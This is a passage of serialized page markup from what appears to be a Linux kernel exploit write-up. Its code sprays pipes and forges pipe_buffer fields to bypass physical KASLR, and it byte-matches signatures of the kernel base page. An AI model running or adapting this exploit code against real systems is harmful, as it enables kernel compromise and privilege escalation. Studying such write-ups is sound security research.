phys-KASLR\"",{"type":25,"tag":216,"props":62461,"children":62462},{"style":6958},[62463],{"type":31,"value":7791},{"type":25,"tag":216,"props":62465,"children":62466},{"class":6916,"line":7238},[62467,62471,62475,62479,62483,62487,62491,62496,62500],{"type":25,"tag":216,"props":62468,"children":62469},{"style":6967},[62470],{"type":31,"value":6970},{"type":25,"tag":216,"props":62472,"children":62473},{"style":6958},[62474],{"type":31,"value":7010},{"type":25,"tag":216,"props":62476,"children":62477},{"style":6930},[62478],{"type":31,"value":59597},{"type":25,"tag":216,"props":62480,"children":62481},{"style":6958},[62482],{"type":31,"value":58506},{"type":25,"tag":216,"props":62484,"children":62485},{"style":6947},[62486],{"type":31,"value":266},{"type":25,"tag":216,"props":62488,"children":62489},{"style":6983},[62490],{"type":31,"value":6986},{"type":25,"tag":216,"props":62492,"children":62493},{"style":6958},[62494],{"type":31,"value":62495},";; i",{"type":25,"tag":216,"props":62497,"children":62498},{"style":6947},[62499],{"type":31,"value":55232},{"type":25,"tag":216,"props":62501,"children":62502},{"style":6958},[62503],{"type":31,"value":7101},{"type":25,"tag":216,"props":62505,"children":62506},{"class":6916,"line":7251},[62507],{"type":25,"tag":216,"props":62508,"children":62509},{"style":6958},[62510],{"type":31,"value":33141},{"type":25,"tag":216,"props":62512,"children":62513},{"class":6916,"line":7269},[62514,62519,62523,62528,62532,62537,62541,62546,62550],{"type":25,"tag":216,"props":62515,"children":62516},{"style":6958},[62517],{"type":31,"value":62518},"        kernel_base ",{"type":25,"tag":216,"props":62520,"children":62521},{"style":6947},[62522],{"type":31,"value":266},{"type":25,"tag":216,"props":62524,"children":62525},{"style":6983},[62526],{"type":31,"value":62527}," 0x40",{"type":25,"tag":216,"props":62529,"children":62530},{"style":6947},[62531],{"type":31,"value":13767},{"type":25,"tag":216,"props":62533,"children":62534},{"style":6958},[62535],{"type":31,"value":62536}," ((PHYSICAL_ALIGN ",{"type":25,"tag":216,"props":62538,"children":62539},{"style":6947},[62540],{"type":31,"value":8513},{"type":25,"tag":216,"props":62542,"children":62543},{"style":6958},[62544],{"type":31,"value":62545}," i) ",{"type":25,"tag":216,"props":62547,"children":62548},{"style":6947},[62549],{"type":31,"value":16711},{"type":25,"tag":216,"props":62551,"children":62552},{"style":6958},[62553],{"type":31,"value":62554}," PAGE_SHIFT);\n",{"type":25,"tag":216,"props":62556,"children":62557},{"class":6916,"line":7290},[62558,62563,62567,62571,62575,62580,62584],{"type":25,"tag":216,"props":62559,"children":62560},{"style":6941},[62561],{"type":31,"value":62562},"        pipebuf",{"type":25,"tag":216,"props":62564,"children":62565},{"style":6958},[62566],{"type":31,"value":17708},{"type":25,"tag":216,"props":62568,"children":62569},{"style":6941},[62570],{"type":31,"value":62286},{"type":25,"tag":216,"props":62572,"children":62573},{"style":6947},[62574],{"type":31,"value":6950},{"type":25,"tag":216,"props":62576,"children":62577},{"style":6958},[62578],{"type":31,"value":62579}," vmemmap_base ",{"type":25,"tag":216,"props":62581,"children":62582},{"style":6947},[62583],{"type":31,"value":3533},{"type":25,"tag":216,"props":62585,"children":62586},{"style":6958},[62587],{"type":31,"value":62588}," kernel_base;\n",{"type":25,"tag":216,"props":62590,"children":62591},{"class":6916,"line":7299},[62592,62596,62600,62604,62608,62612],{"type":25,"tag":216,"props":62593,"children":62594},{"style":6941},[62595],{"type":31,"value":62562},{"type":25,"tag":216,"props":62597,"children":62598},{"style":6958},[62599],{"type":31,"value":17708},{"type":25,"tag":216,"props":62601,"children":62602},{"style":6941},[62603],{"type":31,"value":17852},{"type":25,"tag":216,"props":62605,"children":62606},{"style":6947},[62607],{"type":31,"value":6950},{"type":25,"tag":216,"props":62609,"children":62610},{"style":6983},[62611],{"type":31,"value":6986},{"type":25,"tag":216,"props":62613,"children":62614},{"style":6958},[62615],{"type":31,"value":6961},{"type":25,"tag":216,"props":62617,"children":62618},{"class":6916,"line":7551},[62619,62623,62627,62631,62635,62640,62644,62648],{"type":25,"tag":216,"props":62620,"children":62621},{"style":6941},[62622],{"type":31,"value":62562},{"type":25,"tag":216,"props":62624,"children":62625},{"style":6958},[62626],{"type":31,"value":17708},{"type":25,"tag":216,"props":62628,"children":62629},{"style":6941},[62630],{"type":31,"value":13088},{"type":25,"tag":216,"props":62632,"children":62633},{"style":6947},[62634],{"type":31,"value":6950},{"type":25,"tag":216,"props":62636,"children":62637},{"style":6958},[62638],{"type":31,"value":62639}," PAGE_SIZE ",{"type":25,"tag":216,"props":62641,"children":62642},{"style":6947},[62643],{"type":31,"value":3533},{"type":25,"tag":216,"props":62645,"children":62646},{"style":6983},[62647],{"type":31,"value":8465},{"type":25,"tag":216,"props":62649,"children":62650},{"style":6958},[62651],{"type":31,"value":6961},{"type":25,"tag":216,"props":62653,"children":62654},{"class":6916,"line":7568},[62655],{"type":25,"tag":216,"props":62656,"children":62657},{"style":6958},[62658],{"type":31,"value":14269},{"type":25,"tag":216,"props":62660,"children":62661},{"class":6916,"line":7585},[62662,62667,62671,62675,62679,62683,62688,62692,62697,62701],{"type":25,"tag":216,"props":62663,"children":62664},{"style":6958},[62665],{"type":31,"value":62666},"        for (",{"type":25,"tag":216,"props":62668,"children":62669},{"style":6930},[62670],{"type":31,"value":23001},{"type":25,"tag":216,"props":62672,"children":62673},{"style":6941},[62674],{"type":31,"value":12570},{"type":25,"tag":216,"props":62676,"children":62677},{"style":6947},[62678],{"type":31,"value":6950},{"type":25,"tag":216,"props":62680,"children":62681},{"style":6983},[62682],{"type":31,"value":6986},{"type":25,"tag":216,"props":62684,"children":62685},{"style":6958},[62686],{"type":31,"value":62687},"; j ",{"type":25,"tag":216,"props":62689,"children":62690},{"style":6947},[62691],{"type":31,"value":9751},{"type":25,"tag":216,"props":62693,"children":62694},{"style":6958},[62695],{"type":31,"value":62696}," PIPE_SPRAY; j",{"type":25,"tag":216,"props":62698,"children":62699},{"style":6947},[62700],{"type":31,"value":55232},{"type":25,"tag":216,"props":62702,"children":62703},{"style":6958},[62704],{"type":31,"value":7101},{"type":25,"tag":216,"props":62706,"children":62707},{"class":6916,"line":7598},[62708],{"type":25,"tag":216,"props":62709,"children":62710},{"style":6958},[62711],{"type":31,"value":35615},{"type":25,"tag":216,"props":62713,"children":62714},{"class":6916,"line":7607},[62715,62720,62724,62728,62733,62737],{"type":25,"tag":216,"props":62716,"children":62717},{"style":7041},[62718],{"type":31,"value":62719},"            memset",{"type":25,"tag":216,"props":62721,"children":62722},{"style":6958},[62723],{"type":31,"value":1844},{"type":25,"tag":216,"props":62725,"children":62726},{"style":6947},[62727],{"type":31,"value":7053},{"type":25,"tag":216,"props":62729,"children":62730},{"style":6958},[62731],{"type":31,"value":62732},"data, ",{"type":25,"tag":216,"props":62734,"children":62735},{"style":6983},[62736],{"type":31,"value":1876},{"type":25,"tag":216,"props":62738,"children":62739},{"style":6958},[62740],{"type":31,"value":62741},", PAGE_SIZE);\n",{"type":25,"tag":216,"props":62743,"children":62744},{"class":6916,"line":7630},[62745,62750],{"type":25,"tag":216,"props":62746,"children":62747},{"style":6930},[62748],{"type":31,"value":62749},"            int",{"type":25,"tag":216,"props":62751,"children":62752},{"style":6958},[62753],{"type":31,"value":62754}," count;\n",{"type":25,"tag":216,"props":62756,"children":62757},{"class":6916,"line":7639},[62758,62763,62768,62772,62777,62781,62786,62791,62795,62799,62803,62808,62812,62816],{"type":25,"tag":216,"props":62759,"children":62760},{"style":6967},[62761],{"type":31,"value":62762},"            if",{"type":25,"tag":216,"props":62764,"children":62765},{"style":6958},[62766],{"type":31,"value":62767}," (count ",{"type":25,"tag":216,"props":62769,"children":62770},{"style":6947},[62771],{"type":31,"value":266},{"type":25,"tag":216,"props":62773,"children":62774},{"style":7041},[62775],{"type":31,"value":62776}," read",{"type":25,"tag":216,"props":62778,"children":62779},{"style":6958},[62780],{"type":31,"value":1844},{"type":25,"tag":216,"props":62782,"children":62783},{"style":6941},[62784],{"type":31,"value":62785},"pfd",{"type":25,"tag":216,"props":62787,"children":62788},{"style":6958},[62789],{"type":31,"value":62790},"[j][",{"type":25,"tag":216,"props":62792,"children":62793},{"style":6983},[62794],{"type":31,"value":1876},{"type":25,"tag":216,"props":62796,"children":62797},{"style":6958},[62798],{"type":31,"value":27000},{"type":25,"tag":216,"props":62800,"children":62801},{"style":6947},[62802],{"type":31,"value":7053},{"type":25,"tag":216,"props":62804,"children":62805},{"style":6958},[62806],{"type":31,"value":62807},"data, PAGE_SIZE) ",{"type":25,"tag":216,"props":62809,"children":62810},{"style":6947},[62811],{"type":31,"value":9751},{"type":25,"tag":216,"props":62813,"children":62814},{"style":6983},[62815],{"type":31,"value":6986},{"type":25,"tag":216,"props":62817,"children":62818},{"style":6958},[62819],{"type":31,"value":7101},{"type":25,"tag":216,"props":62821,"children":62822},{"class":6916,"line":7648},[62823],{"type":25,"tag":216,"props":62824,"children":62825},{"style":6958},[62826],{"type":31,"value":35651},{"type":25,"tag":216,"props":62828,"children":62829},{"class":6916,"line":7716},[62830,62835],{"type":25,"tag":216,"props":62831,"children":62832},{"style":6967},[62833],{"type":31,"value":62834},"                continue",{"type":25,"tag":216,"props":62836,"children":62837},{"style":6958},[62838],{"type":31,"value":6961},{"type":25,"tag":216,"props":62840,"children":62841},{"class":6916,"line":7724},[62842],{"type":25,"tag":216,"props":62843,"children":62844},{"style":6958},[62845],{"type":31,"value":62846},"            }\n",{"type":25,"tag":216,"props":62848,"children":62849},{"class":6916,"line":7754},[62850],{"type":25,"tag":216,"props":62851,"children":62852},{"style":6958},[62853],{"type":31,"value":14269},{"type":25,"tag":216,"props":62855,"children":62856},{"class":6916,"line":7762},[62857],{"type":25,"tag":216,"props":62858,"children":62859},{"emptyLinePlaceholder":16},[62860],{"type":31,"value":7636},{"type":25,"tag":216,"props":62862,"children":62863},{"class":6916,"line":7794},[62864,62869,62874,62878,62882],{"type":25,"tag":216,"props":62865,"children":62866},{"style":6958},[62867],{"type":31,"value":62868},"            if (",{"type":25,"tag":216,"props":62870,"children":62871},{"style":7369},[62872],{"type":31,"value":62873},"is_kernel_base",{"type":25,"tag":216,"props":62875,"children":62876},{"style":6958},[62877],{"type":31,"value":1844},{"type":25,"tag":216,"props":62879,"children":62880},{"style":7369},[62881],{"type":31,"value":7663},{"type":25,"tag":216,"props":62883,"children":62884},{"style":6958},[62885],{"type":31,"value":62886},")) // [1] identify kernel base\n",{"type":25,"tag":216,"props":62888,"children":62889},{"class":6916,"line":7802},[62890],{"type":25,"tag":216,"props":62891,"children":62892},{"style":6958},[62893],{"type":31,"value":35651},{"type":25,"tag":216,"props":62895,"children":62896},{"class":6916,"line":7862},[62897,62902,62906,62910],{"type":25,"tag":216,"props":62898,"children":62899},{"style":6958},[62900],{"type":31,"value":62901},"                found ",{"type":25,"tag":216,"props":62903,"children":62904},{"style":6947},[62905],{"type":31,"value":266},{"type":25,"tag":216,"props":62907,"children":62908},{"style":6930},[62909],{"type":31,"value":16419},{"type":25,"tag":216,"props":62911,"children":62912},{"style":6958},[62913],{"type":31,"value":6961},{"type":25,"tag":216,"props":62915,"children":62916},{"class":6916,"line":12995},[62917,62922],{"type":25,"tag":216,"props":62918,"children":62919},{"style":6967},[62920],{"type":31,"value":62921},"                break",{"type":25,"tag":216,"props":62923,"children":62924},{"style":6958},[62925],{"type":31,"value":6961},{"type":25,"tag":216,"props":62927,"children":62928},{"class":6916,"line":13013},[62929],{"type":25,"tag":216,"props":62930,"children":62931},{"style":6958},[62932],{"type":31,"value":62846},{"type":25,"tag":216,"props":62934,"children":62935},{"class":6916,"line":13058},[62936],{"type":25,"tag":216,"props":62937,"children":62938},{"style":6958},[62939],{"type":31,"value":7296},{"type":25,"tag":216,"props":62941,"children":62942},{"class":6916,"line":13164},[62943],{"type":25,"tag":216,"props":62944,"children":62945},{"emptyLinePlaceholder":16},[62946],{"type":31,"value":7636},{"type":25,"tag":216,"props":62948,"children":62949},{"class":6916,"line":27449},[62950],{"type":25,"tag":216,"props":62951,"children":62952},{"style":6958},[62953],{"type":31,"value":14269},{"type":25,"tag":38,"props":62955,"children":62956},{},[62957,62959,62963,62965,62971,62973,62977],{"type":31,"value":62958},"Notice that at ",{"type":25,"tag":216,"props":62960,"children":62961},{},[62962],{"type":31,"value":184},{"type":31,"value":62964}," we call the ",{"type":25,"tag":82,"props":62966,"children":62968},{"className":62967},[],[62969],{"type":31,"value":62970},"is_kernel_base()",{"type":31,"value":62972}," function. This is a function based on lau's exploit ",{"type":25,"tag":216,"props":62974,"children":62975},{},[62976],{"type":31,"value":22061},{"type":31,"value":62978}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":25,"tag":206,"props":62980,"children":62982},{"className":33064,"code":62981,"language":33066,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[62983],{"type":25,"tag":82,"props":62984,"children":62985},{"__ignoreMap":7},[62986,62993,63023,63030,63038,63045,63053,63124,63186,63201,63208,63216,63284,63346,63407,63468,63530,63592,63653,63714,63775,63836,63897,63912,63919,63934,63941],{"type":25,"tag":216,"props":62987,"children":62988},{"class":6916,"line":6917},[62989],{"type":25,"tag":216,"props":62990,"children":62991},{"style":6958},[62992],{"type":31,"value":14269},{"type":25,"tag":216,"props":62994,"children":62995},{"class":6916,"line":6763},[62996,63001,63006,63011,63015,63019],{"type":25,"tag":216,"props":62997,"children":62998},{"style":6958},[62999],{"type":31,"value":63000},"static bool is_kernel_base(",{"type":25,"tag":216,"props":63002,"children":63003},{"style":6930},[63004],{"type":31,"value":63005},"unsigned",{"type":25,"tag":216,"props":63007,"children":63008},{"style":6930},[63009],{"type":31,"value":63010}," char",{"type":25,"tag":216,"props":63012,"children":63013},{"style":6930},[63014],{"type":31,"value":13767},{"type":25,"tag":216,"props":63016,"children":63017},{"style":6941},[63018],{"type":31,"value":34642},{"type":25,"tag":216,"props":63020,"children":63021},{"style":6958},[63022],{"type":31,"value":7101},{"type":25,"tag":216,"props":63024,"children":63025},{"class":6916,"line":6772},[63026],{"type":25,"tag":216,"props":63027,"children":63028},{"style":6958},[63029],{"type":31,"value":14830},{"type":25,"tag":216,"props":63031,"children":63032},{"class":6916,"line":6999},[63033],{"type":25,"tag":216,"props":63034,"children":63035},{"style":6921},[63036],{"type":31,"value":63037},"    // thanks lau :)\n",{"type":25,"tag":216,"props":63039,"children":63040},{"class":6916,"line":7104},[63041],{"type":25,"tag":216,"props":63042,"children":63043},{"emptyLinePlaceholder":16},[63044],{"type":31,"value":7636},{"type":25,"tag":216,"props":63046,"children":63047},{"class":6916,"line":7210},[63048],{"type":25,"tag":216,"props":63049,"children":63050},{"style":6921},[63051],{"type":31,"value":63052},"    // get-sig kernel_runtime_1\n",{"type":25,"tag":216,"props":63054,"children":63055},{"class":6916,"line":7238},[63056,63060,63064,63069,63074,63078,63083,63087,63091,63096,63100,63104,63108,63112,63116,63120],{"type":25,"tag":216,"props":63057,"children":63058},{"style":6967},[63059],{"type":31,"value":16229},{"type":25,"tag":216,"props":63061,"children":63062},{"style":6958},[63063],{"type":31,"value":7010},{"type":25,"tag":216,"props":63065,"children":63066},{"style":7041},[63067],{"type":31,"value":63068},"memcmp",{"type":25,"tag":216,"props":63070,"children":63071},{"style":6958},[63072],{"type":31,"value":63073},"(addr ",{"type":25,"tag":216,"props":63075,"children":63076},{"style":6947},[63077],{"type":31,"value":3533},{"type":25,"tag":216,"props":63079,"children":63080},{"style":6983},[63081],{"type":31,"value":63082}," 0x0",{"type":25,"tag":216,"props":63084,"children":63085},{"style":6958},[63086],{"type":31,"value":7020},{"type":25,"tag":216,"props":63088,"children":63089},{"style":8199},[63090],{"type":31,"value":24014},{"type":25,"tag":216,"props":63092,"children":63093},{"style":52336},[63094],{"type":31,"value":63095},"\\x48\\x8d\\x25\\x51\\x3f",{"type":25,"tag":216,"props":63097,"children":63098},{"style":8199},[63099],{"type":31,"value":24014},{"type":25,"tag":216,"props":63101,"children":63102},{"style":6958},[63103],{"type":31,"value":7020},{"type":25,"tag":216,"props":63105,"children":63106},{"style":6983},[63107],{"type":31,"value":22061},{"type":25,"tag":216,"props":63109,"children":63110},{"style":6958},[63111],{"type":31,"value":7030},{"type":25,"tag":216,"props":63113,"children":63114},{"style":6947},[63115],{"type":31,"value":12522},{"type":25,"tag":216,"props":63117,"children":63118},{"style":6983},[63119],{"type":31,"value":6986},{"type":25,"tag":216,"props":63121,"children":63122},{"style":6947},[63123],{"type":31,"value":56646},{"type":25,"tag":216,"props":63125,"children":63126},{"class":6916,"line":7251},[63127,63132,63136,63140,63145,63149,63153,63158,63162,63166,63170,63174,63178,63182],{"type":25,"tag":216,"props":63128,"children":63129},{"style":7041},[63130],{"type":31,"value":63131},"        memcmp",{"type":25,"tag":216,"props":63133,"children":63134},{"style":6958},[63135],{"type":31,"value":63073},{"type":25,"tag":216,"props":63137,"children":63138},{"style":6947},[63139],{"type":31,"value":3533},{"type":25,"tag":216,"props":63141,"children":63142},{"style":6983},[63143],{"type":31,"value":63144}," 0x7",{"type":25,"tag":216,"props":63146,"children":63147},{"style":6958},[63148],{"type":31,"value":7020},{"type":25,"tag":216,"props":63150,"children":63151},{"style":8199},[63152],{"type":31,"value":24014},{"type":25,"tag":216,"props":63154,"children":63155},{"style":52336},[63156],{"type":31,"value":63157},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":25,"tag":216,"props":63159,"children":63160},{"style":8199},[63161],{"type":31,"value":24014},{"type":25,"tag":216,"props":63163,"children":63164},{"style":6958},[63165],{"type":31,"value":7020},{"type":25,"tag":216,"props":63167,"children":63168},{"style":6983},[63169],{"type":31,"value":58633},{"type":25,"tag":216,"props":63171,"children":63172},{"style":6958},[63173],{"type":31,"value":7030},{"type":25,"tag":216,"props":63175,"children":63176},{"style":6947},[63177],{"type":31,"value":12522},{"type":25,"tag":216,"props":63179,"children":63180},{"style":6983},[63181],{"type":31,"value":6986},{"type":25,"tag":216,"props":63183,"children":63184},{"style":6958},[63185],{"type":31,"value":7101},{"type":25,"tag":216,"props":63187,"children":63188},{"class":6916,"line":7269},[63189,63193,63197],{"type":25,"tag":216,"props":63190,"children":63191},{"style":6967},[63192],{"type":31,"value":19696},{"type":25,"tag":216,"props":63194,"children":63195},{"style":6930},[63196],{"type":31,"value":16419},{"type":25,"tag":216,"props":63198,"children":63199},{"style":6958},[63200],{"type":31,"value":6961},{"type":25,"tag":216,"props":63202,"children":63203},{"class":6916,"line":7290},[63204],{"type":25,"tag":216,"props":63205,"children":63206},{"emptyLinePlaceholder":16},[63207],{"type":31,"value":7636},{"type":25,"tag":216,"props":63209,"children":63210},{"class":6916,"line":7299},[63211],{"type":25,"tag":216,"props":63212,"children":63213},{"style":6921},[63214],{"type":31,"value":63215},"    // get-sig kernel_runtime_2\n",{"type":25,"tag":216,"props":63217,"children":63218},{"class":6916,"line":7551},[63219,63223,63227,63231,63235,63239,63243,63247,63251,63256,63260,63264,63268,63272,63276,63280],{"type":25,"tag":216,"props":63220,"children":63221},{"style":6967},[63222],{"type":31,"value":16229},{"type":25,"tag":216,"props":63224,"children":63225},{"style":6958},[63226],{"type":31,"value":7010},{"type":25,"tag":216,"props":63228,"children":63229},{"style":7041},[63230],{"type":31,"value":63068},{"type":25,"tag":216,"props":63232,"children":63233},{"style":6958},[63234],{"type":31,"value":63073},{"type":25,"tag":216,"props":63236,"children":63237},{"style":6947},[63238],{"type":31,"value":3533},{"type":25,"tag":216,"props":63240,"children":63241},{"style":6983},[63242],{"type":31,"value":63082},{"type":25,"tag":216,"props":63244,"children":63245},{"style":6958},[63246],{"type":31,"value":7020},{"type":25,"tag":216,"props":63248,"children":63249},{"style":8199},[63250],{"type":31,"value":24014},{"type":25,"tag":216,"props":63252,"children":63253},{"style":52336},[63254],{"type":31,"value":63255},"\\xfc\\x0f\\x01\\x15",{"type":25,"tag":216,"props":63257,"children":63258},{"style":8199},[63259],{"type":31,"value":24014},{"type":25,"tag":216,"props":63261,"children":63262},{"style":6958},[63263],{"type":31,"value":7020},{"type":25,"tag":216,"props":63265,"children":63266},{"style":6983},[63267],{"type":31,"value":21480},{"type":25,"tag":216,"props":63269,"children":63270},{"style":6958},[63271],{"type":31,"value":7030},{"type":25,"tag":216,"props":63273,"children":63274},{"style":6947},[63275],{"type":31,"value":12522},{"type":25,"tag":216,"props":63277,"children":63278},{"style":6983},[63279],{"type":31,"value":6986},{"type":25,"tag":216,"props":63281,"children":63282},{"style":6947},[63283],{"type":31,"value":56646},{"type":25,"tag":216,"props":63285,"children":63286},{"class":6916,"line":7568},[63287,63291,63295,63299,63304,63308,63312,63317,63321,63325,63330,63334,63338,63342],{"type":25,"tag":216,"props":63288,"children":63289},{"style":7041},[63290],{"type":31,"value":63131},{"type":25,"tag":216,"props":63292,"children":63293},{"style":6958},[63294],{"type":31,"value":63073},{"type":25,"tag":216,"props":63296,"children":63297},{"style":6947},[63298],{"type":31,"value":3533},{"type":25,"tag":216,"props":63300,"children":63301},{"style":6983},[63302],{"type":31,"value":63303}," 0x8",{"type":25,"tag":216,"props":63305,"children":63306},{"style":6958},[63307],{"type":31,"value":7020},{"type":25,"tag":216,"props":63309,"children":63310},{"style":8199},[63311],{"type":31,"value":24014},{"type":25,"tag":216,"props":63313,"children":63314},{"style":52336},[63315],{"type":31,"value":63316},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":25,"tag":216,"props":63318,"children":63319},{"style":8199},[63320],{"type":31,"value":24014},{"type":25,"tag":216,"props":63322,"children":63323},{"style":6958},[63324],{"type":31,"value":7020},{"type":25,"tag":216,"props":63326,"children":63327},{"style":6983},[63328],{"type":31,"value":63329},"12",{"type":25,"tag":216,"props":63331,"children":63332},{"style":6958},[63333],{"type":31,"value":7030},{"type":25,"tag":216,"props":63335,"children":63336},{"style":6947},[63337],{"type":31,"value":12522},{"type":25,"tag":216,"props":63339,"children":63340},{"style":6983},[63341],{"type":31,"value":6986},{"type":25,"tag":216,"props":63343,"children":63344},{"style":6947},[63345],{"type":31,"value":56646},{"type":25,"tag":216,"props":63347,"children":63348},{"class":6916,"line":7585},[63349,63353,63357,63361,63366,63370,63374,63379,63383,63387,63391,63395,63399,63403],{"type":25,"tag":216,"props":63350,"children":63351},{"style":7041},[63352],{"type":31,"value":63131},{"type":25,"tag":216,"props":63354,"children":63355},{"style":6958},[63356],{"type":31,"value":63073},{"type":25,"tag":216,"props":63358,"children":63359},{"style":6947},[63360],{"type":31,"value":3533},{"type":25,"tag":216,"props":63362,"children":63363},{"style":6983},[63364],{"type":31,"value":63365}," 0x18",{"type":25,"tag":216,"props":63367,"children":63368},{"style":6958},[63369],{"type":31,"value":7020},{"type":25,"tag":216,"props":63371,"children":63372},{"style":8199},[63373],{"type":31,"value":24014},{"type":25,"tag":216,"props":63375,"children":63376},{"style":52336},[63377],{"type":31,"value":63378},"\\x89\\xde\\x8b\\x0d",{"type":25,"tag":216,"props":63380,"children":63381},{"style":8199},[63382],{"type":31,"value":24014},{"type":25,"tag":216,"props":63384,"children":63385},{"style":6958},[63386],{"type":31,"value":7020},{"type":25,"tag":216,"props":63388,"children":63389},{"style":6983},[63390],{"type":31,"value":21480},{"type":25,"tag":216,"props":63392,"children":63393},{"style":6958},[63394],{"type":31,"value":7030},{"type":25,"tag":216,"props":63396,"children":63397},{"style":6947},[63398],{"type":31,"value":12522},{"type":25,"tag":216,"props":63400,"children":63401},{"style":6983},[63402],{"type":31,"value":6986},{"type":25,"tag":216,"props":63404,"children":63405},{"style":6947},[63406],{"type":31,"value":56646},{"type":25,"tag":216,"props":63408,"children":63409},{"class":6916,"line":7598},[63410,63414,63418,63422,63427,63431,63435,63440,63444,63448,63452,63456,63460,63464],{"type":25,"tag":216,"props":63411,"children":63412},{"style":7041},[63413],{"type":31,"value":63131},{"type":25,"tag":216,"props":63415,"children":63416},{"style":6958},[63417],{"type":31,"value":63073},{"type":25,"tag":216,"props":63419,"children":63420},{"style":6947},[63421],{"type":31,"value":3533},{"type":25,"tag":216,"props":63423,"children":63424},{"style":6983},[63425],{"type":31,"value":63426}," 0x20",{"type":25,"tag":216,"props":63428,"children":63429},{"style":6958},[63430],{"type":31,"value":7020},{"type":25,"tag":216,"props":63432,"children":63433},{"style":8199},[63434],{"type":31,"value":24014},{"type":25,"tag":216,"props":63436,"children":63437},{"style":52336},[63438],{"type":31,"value":63439},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":25,"tag":216,"props":63441,"children":63442},{"style":8199},[63443],{"type":31,"value":24014},{"type":25,"tag":216,"props":63445,"children":63446},{"style":6958},[63447],{"type":31,"value":7020},{"type":25,"tag":216,"props":63449,"children":63450},{"style":6983},[63451],{"type":31,"value":22373},{"type":25,"tag":216,"props":63453,"children":63454},{"style":6958},[63455],{"type":31,"value":7030},{"type":25,"tag":216,"props":63457,"children":63458},{"style":6947},[63459],{"type":31,"value":12522},{"type":25,"tag":216,"props":63461,"children":63462},{"style":6983},[63463],{"type":31,"value":6986},{"type":25,"tag":216,"props":63465,"children":63466},{"style":6947},[63467],{"type":31,"value":56646},{"type":25,"tag":216,"props":63469,"children":63470},{"class":6916,"line":7607},[63471,63475,63479,63483,63488,63492,63496,63501,63505,63509,63514,63518,63522,63526],{"type":25,"tag":216,"props":63472,"children":63473},{"style":7041},[63474],{"type":31,"value":63131},{"type":25,"tag":216,"props":63476,"children":63477},{"style":6958},[63478],{"type":31,"value":63073},{"type":25,"tag":216,"props":63480,"children":63481},{"style":6947},[63482],{"type":31,"value":3533},{"type":25,"tag":216,"props":63484,"children":63485},{"style":6983},[63486],{"type":31,"value":63487}," 0x2a",{"type":25,"tag":216,"props":63489,"children":63490},{"style":6958},[63491],{"type":31,"value":7020},{"type":25,"tag":216,"props":63493,"children":63494},{"style":8199},[63495],{"type":31,"value":24014},{"type":25,"tag":216,"props":63497,"children":63498},{"style":52336},[63499],{"type":31,"value":63500},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":25,"tag":216,"props":63502,"children":63503},{"style":8199},[63504],{"type":31,"value":24014},{"type":25,"tag":216,"props":63506,"children":63507},{"style":6958},[63508],{"type":31,"value":7020},{"type":25,"tag":216,"props":63510,"children":63511},{"style":6983},[63512],{"type":31,"value":63513},"24",{"type":25,"tag":216,"props":63515,"children":63516},{"style":6958},[63517],{"type":31,"value":7030},{"type":25,"tag":216,"props":63519,"children":63520},{"style":6947},[63521],{"type":31,"value":12522},{"type":25,"tag":216,"props":63523,"children":63524},{"style":6983},[63525],{"type":31,"value":6986},{"type":25,"tag":216,"props":63527,"children":63528},{"style":6947},[63529],{"type":31,"value":56646},{"type":25,"tag":216,"props":63531,"children":63532},{"class":6916,"line":7630},[63533,63537,63541,63545,63550,63554,63558,63563,63567,63571,63576,63580,63584,63588],{"type":25,"tag":216,"props":63534,"children":63535},{"style":7041},[63536],{"type":31,"value":63131},{"type":25,"tag":216,"props":63538,"children":63539},{"style":6958},[63540],{"type":31,"value":63073},{"type":25,"tag":216,"props":63542,"children":63543},{"style":6947},[63544],{"type":31,"value":3533},{"type":25,"tag":216,"props":63546,"children":63547},{"style":6983},[63548],{"type":31,"value":63549}," 